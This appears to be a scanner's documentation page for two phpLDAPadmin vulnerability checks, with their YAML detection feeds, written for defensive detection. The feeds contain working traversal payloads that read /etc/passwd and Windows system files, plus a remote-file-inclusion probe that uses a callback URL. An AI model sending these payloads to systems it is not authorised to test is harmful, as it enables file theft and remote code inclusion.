phpLDAPadmin — 2 vulnerability checks

noctis ships 2 vulnerability checks for phpLDAPadmin, covering 3 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

phpLDAPadmin cmd.php cmd Local File Inclusion

CVECVE-2009-4427
Severityhigh · CVSS 7.5
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, script, tcp_connect, http_request, match · highest QoD 75
Feedtests/vulnerabilities/phpldapadmin/CVE-2009-4427.yaml

Tests phpLDAPadmin 1.1.0.x for the directory traversal in cmd.php, which includes a local file of the attacker's choice without authentication when PHP is older than 5.3.4. The feed requests index.php (which runs cmd.php) with the cmd parameter set to a relative path to /etc/passwd followed by a NUL byte (%00), or to windows/win.ini and boot.ini on Windows, under the web root and the usual /phpldapadmin, /phpLDAPadmin, /ldapadmin, /pla and /phpldapadmin/htdocs install paths. When index.php does not honour the parameter, the same requests go to cmd.php with the session cookies index.php handed out. The NUL byte cuts off the ".php" suffix the page appends, so a reply carrying the phpLDAPadmin page together with the content of the chosen file confirms the inclusion. A control request for an absent random file must not return any of these files, so a server that serves the same content on every request is not reported. Only world-readable system files are read; root's password field is redacted from the evidence.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Raw TCP (TLS on HTTPS), sent verbatim: GET {{pv.dir}}/index.php HTTP/1.0
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET {{pass.dir}}/{{pass.entry}}.php?cmd=../../../../../../../../../etc/passwd%00
  5. Parses / computes the next value with a Rhai script
  6. Parses / computes the next value with a Rhai script
  7. Checks passwd_r.body for (?m)(?:^|>)root:[^:\r\n<>]*:0:([01]):([^:\r\n<>]*:[^:\r\n<>]*:[^:\r\n…
  8. Parses / computes the next value with a Rhai script
  9. HTTP(S) request GET {{pass.dir}}/{{pass.entry}}.php?cmd=../../../../../../../../../windows/win.ini%00
  10. Checks winini_r.body for (?i)(; for 16-bit app support|\[fonts\])
  11. HTTP(S) request GET {{pass.dir}}/{{pass.entry}}.php?cmd=../../../../../../../../../boot.ini%00
  12. Checks bootini_r.body for (?i)\[boot loader\]
  13. HTTP(S) request GET {{pass.dir}}/{{pass.entry}}.php?cmd=../../../../../../../../../etc/passwd.win.ini.boo…
  14. Checks ctrl_r.body for (?mi)((?:^|>)root:[^:\r\n<>]*:0:[01]:|; for 16-bit app support|\[font…
  15. … and 2 more steps — see the feed source below

References:

Feed source — tests/vulnerabilities/phpldapadmin/CVE-2009-4427.yaml
# phpLDAPadmin cmd.php cmd directory traversal / local file inclusion —
# CVE-2009-4427
#
# phpLDAPadmin 1.1.0.x htdocs/cmd.php does
#     $www['cmd'] = get_request('cmd','REQUEST');
#     ...
#     elseif (defined('HTDOCDIR') && file_exists(HTDOCDIR.$www['cmd'].'.php'))
#         $file = HTDOCDIR.$www['cmd'].'.php';
#     elseif (file_exists('welcome.php'))
#         $file = 'welcome.php';
#     ...
#     if ($file) include $file;
# On PHP < 5.3.4 a NUL byte (%00) in cmd cuts the ".php" suffix off, so
# cmd=../../../../../../../../../etc/passwd%00 includes (and prints, inside the
# page body) any file the web server can read. lib/common.php strips the
# magic_quotes_gpc escaping back off $_REQUEST, so magic_quotes_gpc does not
# stop the NUL byte. 1.2.0 refuses commands that are not in its command list
# (isCommandAvailable('script', cmd) → redirect to index.php?redirect=true).
#
# Detection (benign, read-only):
#   1. GET <dir>/index.php?cmd=../../../../../../../../../etc/passwd%00 —
#      index.php ends with include './cmd.php' and starts the session itself,
#      so the inclusion works in one request without any cookie. Match root's
#      passwd line in the reply (QoD 75), gated on the phpLDAPadmin page title
#      in the same reply. On Windows installs: windows/win.ini, then boot.ini.
#   2. Defensive fallback (the source check's request shape): when index.php
#      shows the phpLDAPadmin page but no file (e.g. a front proxy rewriting
#      index.php requests), take the session cookies index.php sets (PLASESSID,
#      plus any load-balancer cookie) and send the same requests to cmd.php
#      with them (cmd.php redirects to index.php without a session). On a stock
#      1.1.0.x index.php always honours cmd, so step 1 already decides.
#   3. Control: the same request for an absent random file must come back
#      without any file signature (fail-closed: no control reply, no finding).
#   "%00" and "../" sit in the query string, which http_request sends verbatim.
#
# Improvements over the source NASL:
#   - The single index.php request needs no prior session: hosts whose session
#     cookie the source check cannot read are still tested; the source check's
#     cmd.php + PLASESSID path is kept as a fallback.
#   - The session request is read raw, so every Set-Cookie is kept (a cookie
#     set after PLASESSID, e.g. by a load balancer, does not hide it).
#   - The NASL only tries the location its product detection found; the feed
#     also walks the usual install paths (/, /phpldapadmin, /phpLDAPadmin,
#     /ldapadmin, /pla, /phpldapadmin/htdocs) on its own.
#   - The finding requires the phpLDAPadmin page title in the same reply, so a
#     generic file-serving responder is not reported as this CVE.
#   - Absent-file control (blanket responders / honeypots keyed on
#     "etc/passwd" are not reported).
#   - root's password field is redacted before it reaches the finding.
#
# Ported from OpenVAS/Greenbone NVT 2009/phpldapadmin_37327.nasl
# (GPL-2.0-only). Vulnerable code checked in the upstream history
# (github.com/leenooks/phpLDAPadmin, tags RELEASE-1.1.0.5 to RELEASE-1.1.0.7
# vulnerable, RELEASE-1.2.0 fixed). Public exploit: exploit-db 10410.
uid: 714676ea-04e0-4715-9d1f-9c2b3a8ed975
name: "phpLDAPadmin cmd.php cmd Local File Inclusion (CVE-2009-4427)"
description: |
  Tests phpLDAPadmin 1.1.0.x for the directory traversal in cmd.php, which
  includes a local file of the attacker's choice without authentication when
  PHP is older than 5.3.4. The feed requests index.php (which runs cmd.php)
  with the cmd parameter set to a relative path to /etc/passwd followed by a
  NUL byte (%00), or to windows/win.ini and boot.ini on Windows, under the web
  root and the usual /phpldapadmin, /phpLDAPadmin, /ldapadmin, /pla and
  /phpldapadmin/htdocs install paths. When index.php does not honour the parameter, the same requests go
  to cmd.php with the session cookies index.php handed out. The NUL byte cuts
  off the ".php" suffix the page appends, so a reply carrying the phpLDAPadmin
  page together with the content of the chosen file confirms the inclusion. A
  control request for an absent random file must not return any of these
  files, so a server that serves the same content on every request is not
  reported. Only world-readable system files are read; root's password field
  is redacted from the evidence.
cves: [CVE-2009-4427]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [phpldapadmin, lfi, file-inclusion, path-traversal, file-read, null-byte, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2009-4427"
  - "https://www.exploit-db.com/exploits/10410"
  - "http://www.securityfocus.com/bid/37327"
  - "https://github.com/leenooks/phpLDAPadmin/blob/RELEASE-1.1.0.5/htdocs/cmd.php"
  # OpenVAS/Greenbone NASL 2009/phpldapadmin_37327.nasl (GPL-2.0-only)

steps:
  # Install dir of the last pass whose index.php answered with the
  # phpLDAPadmin page ("@<dir>"), read by that dir's cmd.php pass.
  - id: init-pla-seen
    action: set_var
    var_name: pla_seen
    var_value: "none"

  # ── Loop group: every following step runs once per "<entry>|<dir>" pass.
  # The cmd pass of a dir runs only after its index pass showed the
  # phpLDAPadmin page without a file. Each pass resets the values it reads,
  # so nothing is left over from the previous pass.
  - id: init-passwd-r
    action: set_var
    var_name: passwd_r
    var_value: {status: 0, body: ""}
    loop:
      var: p
      over:
        - "index|"
        - "cmd|"
        - "index|/phpldapadmin"
        - "cmd|/phpldapadmin"
        - "index|/phpLDAPadmin"
        - "cmd|/phpLDAPadmin"
        - "index|/ldapadmin"
        - "cmd|/ldapadmin"
        - "index|/pla"
        - "cmd|/pla"
        - "index|/phpldapadmin/htdocs"
        - "cmd|/phpldapadmin/htdocs"

  - id: init-mint
    action: set_var
    var_name: mint
    var_value: {connected: false, banner: ""}

  - id: init-pla-page
    action: set_var
    var_name: pla_page
    var_value: false

  - id: init-lin-proof
    action: set_var
    var_name: lin_proof
    var_value: ""

  - id: init-win-file
    action: set_var
    var_name: win_file
    var_value: ""

  - id: init-winini-r
    action: set_var
    var_name: winini_r
    var_value: {status: 0, body: ""}

  - id: init-bootini-r
    action: set_var
    var_name: bootini_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-r
    action: set_var
    var_name: ctrl_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-hit
    action: set_var
    var_name: ctrl_hit
    var_value: false

  - id: pass-split
    action: script
    code: |
      let parts = split(p, "|");
      let d = if parts.len() > 1 { parts[1] } else { "" };
      #{ entry: parts[0], dir: d, fallback: parts[0] == "cmd" && pla_seen == "@" + d }
    store_as: pv

  # ── Session for the cmd.php fallback: read raw so every Set-Cookie is kept
  - id: mint-session
    action: tcp_connect
    port: "{{port}}"
    condition: "pv.fallback"
    send: "GET {{pv.dir}}/index.php HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: Mozilla/5.0\r\nAccept: */*\r\nConnection: close\r\n\r\n"
    store_as: mint

  # index pass: a neutral cookie (index.php starts its own session).
  # cmd pass: every cookie index.php set; runs only when PLASESSID is there.
  - id: pass
    action: script
    code: |
      let out = #{ run: false, entry: pv.entry, dir: pv.dir, cookie: "noctis=1" };
      if pv.entry == "index" {
        out.run = true;
      } else if pv.fallback && type_of(mint.banner) == "string" {
        let head = mint.banner;
        let cut = stridx(head, "\r\n\r\n");
        if cut < 0 { cut = stridx(head, "\n\n"); }
        if cut >= 0 { head = substr(head, 0, cut); }
        let jar = #{};
        for raw in split(head, "\n") {
          let c = eregmatch("^set-cookie:[ \\t]*([A-Za-z0-9_.-]+)=([^;\\r]*)", raw, true);
          if c.len() < 3 || c[2] == "" || c[2] == "deleted" { continue; }
          jar[c[1]] = c[2];
        }
        if "PLASESSID" in jar {
          let ck = "";
          for k in jar.keys() {
            if ck != "" { ck += "; "; }
            ck += k + "=" + jar[k];
          }
          out.cookie = ck;
          out.run = true;
        }
      }
      out
    store_as: pass

  # ── Linux: /etc/passwd ───────────────────────────────────────────────────
  - id: read-passwd
    action: http_request
    method: GET
    path: "{{pass.dir}}/{{pass.entry}}.php?cmd=../../../../../../../../../etc/passwd%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Cookie: "{{pass.cookie}}"
    condition: "pass.run"
    store_as: passwd_r

  # lib/page.php prints <title>phpLDAPadmin (<version>) - ...</title>.
  - id: pla-page
    action: script
    code: |
      pass.run && type_of(passwd_r.body) == "string" && ereg("<title>phpLDAPadmin\\b", passwd_r.body)
    store_as: pla_page

  - id: pla-seen
    action: script
    code: '"@" + pass.dir'
    condition: 'pla_page && pass.entry == "index"'
    store_as: pla_seen

  # No on_match: the raw body (root's password field) must not become evidence.
  # The page prints the file right after "<tr><td>".
  - id: passwd-content
    action: match
    source: passwd_r.body
    pattern: "(?m)(?:^|>)root:[^:\\r\\n<>]*:0:([01]):([^:\\r\\n<>]*:[^:\\r\\n<>]*:[^:\\r\\n<>]*)\\r?$"
    condition: "pla_page"
    store_as: passwd_m

  - id: passwd-redact
    action: script
    code: |
      if pla_page && passwd_m.matched && passwd_m.captures.len() > 1 {
        "root:<redacted>:0:" + passwd_m.captures[0] + ":" + passwd_m.captures[1]
      } else { "" }
    condition: "pla_page"
    store_as: lin_proof

  # ── Windows: windows/win.ini, then boot.ini (older Windows) ──────────────
  - id: read-winini
    action: http_request
    method: GET
    path: "{{pass.dir}}/{{pass.entry}}.php?cmd=../../../../../../../../../windows/win.ini%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Cookie: "{{pass.cookie}}"
    condition: 'pla_page && lin_proof == ""'
    store_as: winini_r

  - id: winini-content
    action: match
    source: winini_r.body
    pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
    condition: 'pla_page && lin_proof == ""'
    on_match:
      set_vars:
        win_file: "windows/win.ini"

  - id: read-bootini
    action: http_request
    method: GET
    path: "{{pass.dir}}/{{pass.entry}}.php?cmd=../../../../../../../../../boot.ini%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Cookie: "{{pass.cookie}}"
    condition: 'pla_page && lin_proof == "" && win_file == ""'
    store_as: bootini_r

  - id: bootini-content
    action: match
    source: bootini_r.body
    pattern: "(?i)\\[boot loader\\]"
    condition: 'pla_page && lin_proof == "" && win_file == ""'
    on_match:
      set_vars:
        win_file: "boot.ini"

  # ── Control: same parameter, absent random file — must NOT carry a file ──
  # The absent name still contains etc/passwd, win.ini and boot.ini, so a
  # honeypot that keys a fake file on those substrings answers it too.
  - id: control
    action: http_request
    method: GET
    path: "{{pass.dir}}/{{pass.entry}}.php?cmd=../../../../../../../../../etc/passwd.win.ini.boot.ini.noctis-absent-{{oob_token}}%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Cookie: "{{pass.cookie}}"
    condition: 'pla_page && (lin_proof != "" || win_file != "")'
    store_as: ctrl_r

  - id: control-content
    action: match
    source: ctrl_r.body
    pattern: "(?mi)((?:^|>)root:[^:\\r\\n<>]*:0:[01]:|; for 16-bit app support|\\[fonts\\]|\\[boot loader\\])"
    condition: 'pla_page && (lin_proof != "" || win_file != "")'
    on_match:
      set_vars:
        ctrl_hit: true

  # ── Findings (control answered and stayed clean) ─────────────────────────
  - id: report-passwd
    action: match
    source: lin_proof
    pattern: "^root:<redacted>:0:[01]:"
    condition: "pla_page && ctrl_r.status != 0 && ctrl_hit == false"
    on_match:
      finding:
        title: "phpLDAPadmin cmd.php cmd Local File Inclusion (CVE-2009-4427)"
        description: "An unauthenticated request with cmd set to a relative path to /etc/passwd followed by %00 returned the phpLDAPadmin page with the content of /etc/passwd, while the same request for an absent file did not: cmd.php includes any file the web server can read."
        remediation: "Upgrade phpLDAPadmin to 1.2.0 or later, and run PHP 5.3.4 or later, which rejects NUL bytes in file paths."
        confidence_delta: 0.55
        qod: 75
        evidence: "{{pass.dir}}/{{pass.entry}}.php?cmd=../../../../../../../../../etc/passwd%00 returned /etc/passwd; control for an absent file returned no file content ({{lin_proof}})"
      stop: true

  - id: report-windows
    action: match
    source: win_file
    pattern: "^(windows/win\\.ini|boot\\.ini)$"
    condition: "pla_page && ctrl_r.status != 0 && ctrl_hit == false"
    on_match:
      finding:
        title: "phpLDAPadmin cmd.php cmd Local File Inclusion (CVE-2009-4427)"
        description: "An unauthenticated request with cmd set to a relative path to a Windows system file followed by %00 returned the phpLDAPadmin page with that file's content, while the same request for an absent file did not: cmd.php includes any file the web server can read."
        remediation: "Upgrade phpLDAPadmin to 1.2.0 or later, and run PHP 5.3.4 or later, which rejects NUL bytes in file paths."
        confidence_delta: 0.55
        qod: 75
        evidence: "{{pass.dir}}/{{pass.entry}}.php?cmd=../../../../../../../../../{{win_file}}%00 returned the content of {{win_file}}; control for an absent file returned no file content"
      stop: true

phpLDAPadmin welcome.php custom_welcome_page File Inclusion

CVECVE-2005-2792, CVE-2005-2793
Severityhigh · CVSS 7.5
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, http_request, script, match, wait_oob · highest QoD 97
Feedtests/vulnerabilities/phpldapadmin/phpldapadmin-welcome-custom-page-inclusion.yaml

Tests phpLDAPadmin 0.9.6 to 0.9.7-alpha5 for the file inclusion in welcome.php, reachable without authentication when PHP register_globals is enabled. The feed requests welcome.php with the custom_welcome_page parameter set to a relative path to /etc/passwd, under the web root and the usual /phpldapadmin, /phpLDAPadmin and /ldapadmin install paths. When the reply carries the phpLDAPadmin page head followed by the content of /etc/passwd, the page included the chosen file (directory traversal, CVE-2005-2792). A control request for an absent random file must not return any passwd line, so a server that serves the same content on every request is not reported. When out-of-band detection is enabled, the feed also points custom_welcome_page at the noctis callback URL: a callback from the target proves that it fetches and includes remote files (remote file inclusion, CVE-2005-2793). Only a world-readable system file is read, the callback reply holds no code, and root's password field is redacted from the evidence.

How noctis detects it

  1. HTTP(S) request GET {{dir}}/welcome.php?custom_welcome_page=../../../../../../../../etc/passwd
  2. Parses / computes the next value with a Rhai script
  3. Parses / computes the next value with a Rhai script
  4. Checks passwd_r.body for (?m)(?:^|>)root:[^:\r\n<>]*:0:([01]):([^:\r\n<>]*:[^:\r\n<>]*:[^:\r\n…
  5. Parses / computes the next value with a Rhai script
  6. HTTP(S) request GET {{dir}}/welcome.php?custom_welcome_page=../../../../../../../../etc/passwd.noctis-abs…
  7. Checks ctrl_r.body for (?m)(?:^|>)root:[^:\r\n<>]*:0:[01]:
  8. Parses / computes the next value with a Rhai script
  9. HTTP(S) request GET {{pla_dir}}/welcome.php?custom_welcome_page={{oob_url}}
  10. Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: phpLDAPadmin welcome.php custom_welcome_page Remote File Inclusion (CVE-2005-2793)
  11. Checks lfi_proof for ^root:<redacted>:0:[01]: → finding QoD 75: phpLDAPadmin welcome.php custom_welcome_page Directory Traversal (CVE-2005-2792)

References:

Feed source — tests/vulnerabilities/phpldapadmin/phpldapadmin-welcome-custom-page-inclusion.yaml
# phpLDAPadmin welcome.php custom_welcome_page file inclusion —
# CVE-2005-2792 (directory traversal / local file read) and
# CVE-2005-2793 (remote file inclusion)
#
# phpLDAPadmin 0.9.6 to 0.9.7-alpha5 welcome.php does
#     include './common.php';
#     include './header.php';
#     if ( isset($custom_welcome_page) && $custom_welcome_page ) {
#         include_once $custom_welcome_page;
#     } else { ...welcome page... }
# $custom_welcome_page is never set by the script, so under PHP
# register_globals the request parameter of that name is passed to
# include_once(): a local path prints any file the web server can read
# (CVE-2005-2792), and an http:// URL makes PHP fetch and run remote code
# when allow_url_fopen is on (CVE-2005-2793). 0.9.7 removed the branch.
# header.php prints the XHTML head (<title>phpLDAPadmin</title>) BEFORE the
# include, so the included file follows the page head in the reply.
#
# Detection:
#   1. GET <dir>/welcome.php?custom_welcome_page=../../../../../../../../etc/passwd
#      and match root's passwd line in the body (read-only, QoD 75), gated on
#      the phpLDAPadmin page head in the same reply.
#   2. Control: the same request for an absent random file must come back
#      without any passwd line (fail-closed: no control reply, no finding).
#   3. With OOB enabled, on a phpLDAPadmin page: custom_welcome_page=<OOB URL>
#      and wait for the OOB HTTP callback — proves the remote inclusion
#      (CVE-2005-2793, QoD 97). The OOB server's reply holds no PHP code, so
#      nothing runs on the target.
#
# Improvements over the source NASL:
#   - The NASL only tries the location its product detection found; the feed
#     also walks the usual install paths (/, /phpldapadmin, /phpLDAPadmin,
#     /ldapadmin) on its own.
#   - The finding requires the phpLDAPadmin page head in the same reply, so a
#     generic file-serving responder is not reported as this CVE.
#   - Absent-file control (blanket responders / honeypots keyed on
#     "etc/passwd" are not reported).
#   - The passwd regex also accepts a line glued to the page head ("...>root:"),
#     and root's password field is redacted before it reaches the finding.
#   - The remote-inclusion half (CVE-2005-2793), which the NASL does not test,
#     is proven with an OOB callback.
#
# Ported from OpenVAS/Greenbone NVT 2020/phpldapadmin/gb_phpldapadmin_mult_vuln_aug05.nasl
# (OID 1.3.6.1.4.1.25623.1.0.117012, GPL-2.0-only). Vulnerable code checked in
# the upstream history (github.com/leenooks/phpLDAPadmin, tags RELEASE-0.9.6c
# vulnerable, RELEASE-0.9.7 fixed).
uid: 8900d5aa-701e-4b07-9676-51d132307e3e
name: "phpLDAPadmin welcome.php custom_welcome_page File Inclusion (CVE-2005-2792, CVE-2005-2793)"
description: |
  Tests phpLDAPadmin 0.9.6 to 0.9.7-alpha5 for the file inclusion in
  welcome.php, reachable without authentication when PHP register_globals is
  enabled. The feed requests welcome.php with the custom_welcome_page
  parameter set to a relative path to /etc/passwd, under the web root and the
  usual /phpldapadmin, /phpLDAPadmin and /ldapadmin install paths. When the
  reply carries the phpLDAPadmin page head followed by the content of
  /etc/passwd, the page included the chosen file (directory traversal,
  CVE-2005-2792). A control request for an absent random file must not
  return any passwd line, so a server that serves the same content on every
  request is not reported. When out-of-band detection is enabled, the feed
  also points custom_welcome_page at the noctis callback URL: a callback from
  the target proves that it fetches and includes remote files (remote file
  inclusion, CVE-2005-2793). Only a world-readable system file is read, the
  callback reply holds no code, and root's password field is redacted from
  the evidence.
cves: [CVE-2005-2792, CVE-2005-2793]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [phpldapadmin, lfi, rfi, file-inclusion, path-traversal, file-read, register-globals, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2005-2792"
  - "https://nvd.nist.gov/vuln/detail/CVE-2005-2793"
  - "https://github.com/leenooks/phpLDAPadmin/blob/RELEASE-0.9.6c/welcome.php"
  # OpenVAS/Greenbone NASL 2020/phpldapadmin/gb_phpldapadmin_mult_vuln_aug05.nasl (GPL-2.0-only)

steps:
  # ── Results kept across the install-dir loop ─────────────────────────────
  - id: init-pla-found
    action: set_var
    var_name: pla_found
    var_value: false

  - id: init-pla-dir
    action: set_var
    var_name: pla_dir
    var_value: ""

  - id: init-lfi-proof
    action: set_var
    var_name: lfi_proof
    var_value: ""

  - id: init-rfi-sent
    action: set_var
    var_name: rfi_sent
    var_value: false

  # ── Loop group: every following step up to the OOB wait runs once per
  # install dir, until the first dir that answers with the phpLDAPadmin page.
  # Each pass resets the values it reads, so nothing is left over from the
  # previous dir.
  - id: init-passwd-r
    action: set_var
    var_name: passwd_r
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/phpldapadmin", "/phpLDAPadmin", "/ldapadmin"]

  - id: init-pla-page
    action: set_var
    var_name: pla_page
    var_value: false

  - id: init-lin-proof
    action: set_var
    var_name: lin_proof
    var_value: ""

  - id: init-ctrl-r
    action: set_var
    var_name: ctrl_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-hit
    action: set_var
    var_name: ctrl_hit
    var_value: false

  # ── Local file read: /etc/passwd ─────────────────────────────────────────
  - id: read-passwd
    action: http_request
    method: GET
    path: "{{dir}}/welcome.php?custom_welcome_page=../../../../../../../../etc/passwd"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "pla_found == false"
    store_as: passwd_r

  # header.php prints the page head before the include: product gate.
  - id: pla-page
    action: script
    code: |
      type_of(passwd_r.body) == "string" && passwd_r.body.contains("<title>phpLDAPadmin</title>")
    store_as: pla_page

  - id: pla-dir
    action: script
    code: "dir"
    condition: "pla_page"
    store_as: pla_dir

  # No on_match: the raw body (root's password field) must not become evidence.
  - id: passwd-content
    action: match
    source: passwd_r.body
    pattern: "(?m)(?:^|>)root:[^:\\r\\n<>]*:0:([01]):([^:\\r\\n<>]*:[^:\\r\\n<>]*:[^:\\r\\n<>]*)\\r?$"
    condition: "pla_page"
    store_as: passwd_m

  - id: passwd-redact
    action: script
    code: |
      if pla_page && passwd_m.matched && passwd_m.captures.len() > 1 {
        "root:<redacted>:0:" + passwd_m.captures[0] + ":" + passwd_m.captures[1]
      } else { "" }
    condition: "pla_page"
    store_as: lin_proof

  # ── Control: same parameter, absent random file — must NOT carry passwd ──
  # The absent name still contains etc/passwd, so a honeypot that keys a fake
  # file on that substring answers it too.
  - id: control
    action: http_request
    method: GET
    path: "{{dir}}/welcome.php?custom_welcome_page=../../../../../../../../etc/passwd.noctis-absent-{{oob_token}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'pla_page && lin_proof != ""'
    store_as: ctrl_r

  - id: control-content
    action: match
    source: ctrl_r.body
    pattern: "(?m)(?:^|>)root:[^:\\r\\n<>]*:0:[01]:"
    condition: 'pla_page && lin_proof != ""'
    on_match:
      set_vars:
        ctrl_hit: true

  # Proof kept only when the control answered and stayed clean (fail-closed).
  - id: lfi-verdict
    action: script
    code: "lin_proof"
    condition: 'pla_page && lin_proof != "" && ctrl_r.status != 0 && ctrl_hit == false'
    store_as: lfi_proof

  - id: pla-found
    action: set_var
    var_name: pla_found
    var_value: true
    condition: "pla_page"

  # ── Remote file inclusion: OOB callback (CVE-2005-2793) ──────────────────
  # Still inside the loop group (it ends at wait_oob): rfi_sent makes it go
  # out once, to the dir that answered with the phpLDAPadmin page.
  - id: rfi-oob
    action: http_request
    method: GET
    path: "{{pla_dir}}/welcome.php?custom_welcome_page={{oob_url}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: "oob_enabled && pla_found && rfi_sent == false"
    store_as: rfi_r

  - id: rfi-sent
    action: set_var
    var_name: rfi_sent
    var_value: true
    condition: "oob_enabled && pla_found"

  - id: rfi-oob-wait
    action: wait_oob
    oob_timeout_secs: 20
    condition: "oob_enabled && pla_found"
    on_success:
      finding:
        cves: [CVE-2005-2793]
        title: "phpLDAPadmin welcome.php custom_welcome_page Remote File Inclusion (CVE-2005-2793)"
        description: "An unauthenticated request to welcome.php with custom_welcome_page set to the noctis callback URL made the server fetch that URL: the page passes the parameter to include_once(), so an attacker can make it fetch and run PHP code from a server they control."
        remediation: "Upgrade phpLDAPadmin to 0.9.7 or later, and disable PHP register_globals and allow_url_fopen."
        confidence_delta: 0.65
        qod: 97
        evidence: "OOB HTTP callback received after GET {{pla_dir}}/welcome.php?custom_welcome_page=<OOB URL> (remote file inclusion)"

  # ── Finding: local file read (control answered and stayed clean) ─────────
  # Reported on OOB scans too, next to the remote-inclusion finding.
  - id: report-passwd
    action: match
    source: lfi_proof
    pattern: "^root:<redacted>:0:[01]:"
    condition: "pla_found"
    on_match:
      finding:
        cves: [CVE-2005-2792]
        title: "phpLDAPadmin welcome.php custom_welcome_page Directory Traversal (CVE-2005-2792)"
        description: "An unauthenticated request to welcome.php with custom_welcome_page set to a relative path to /etc/passwd returned the phpLDAPadmin page followed by the content of /etc/passwd, while the same request for an absent file did not: the page includes any file the web server can read."
        remediation: "Upgrade phpLDAPadmin to 0.9.7 or later, and disable PHP register_globals."
        confidence_delta: 0.55
        qod: 75
        evidence: "{{pla_dir}}/welcome.php?custom_welcome_page=../../../../../../../../etc/passwd returned /etc/passwd; control for an absent file returned no file content ({{lfi_proof}})"
      stop: true

View these feeds on GitHub